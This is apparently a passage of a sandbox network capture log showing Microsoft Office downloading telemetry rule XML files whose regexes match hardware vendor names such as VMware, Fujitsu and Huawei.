Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7eed3662-201e-003f-1ad5-336d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f7845968v79b7hC1EWRu01s00000004rg00000000171x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: cd0babfe-b01e-0002-56d5-331b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f7845968px8v7hC1EWR08ng000000056000000000edhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 4e338842-401e-0016-31d5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f784596886s2bhC1EWR743w000000052g0000000076qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 2f59f176-901e-002a-79d5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f7845968nnm4mhC1EWR1rn400000004v000000000eks1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:02 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 31c5dc94-101e-008d-18d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133302Z-174f7845968j6t2phC1EWRcfe800000005600000000078ck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:02 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8377dd30-c01e-00a1-3ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133302Z-174f7845968nxc96hC1EWRspw800000004n000000000dy11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:02 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 5f09de9a-701e-0050-70d5-336767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133302Z-174f7845968xlwnmhC1EWR0sv800000004qg00000000fs0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:02 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 95c6b661-501e-0078-17d5-3306cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133302Z-174f78459684bddphC1EWRbht400000004tg000000004sd7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:02 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:02 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 5d78e2d9-801e-00a0-72d5-332196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133302Z-174f7845968vqt9xhC1EWRgten0000000520000000008ncp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:02 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f5f8c6aa-e01e-0099-78d5-33da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968c2t8dhC1EWR8s2000000004s0000000008t7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 1c99e56d-601e-0097-76d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968l4kp6hC1EWRe8840000000590000000007sdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 602c134e-d01e-0049-04d5-33e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968v79b7hC1EWRu01s00000004qg0000000047km x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" 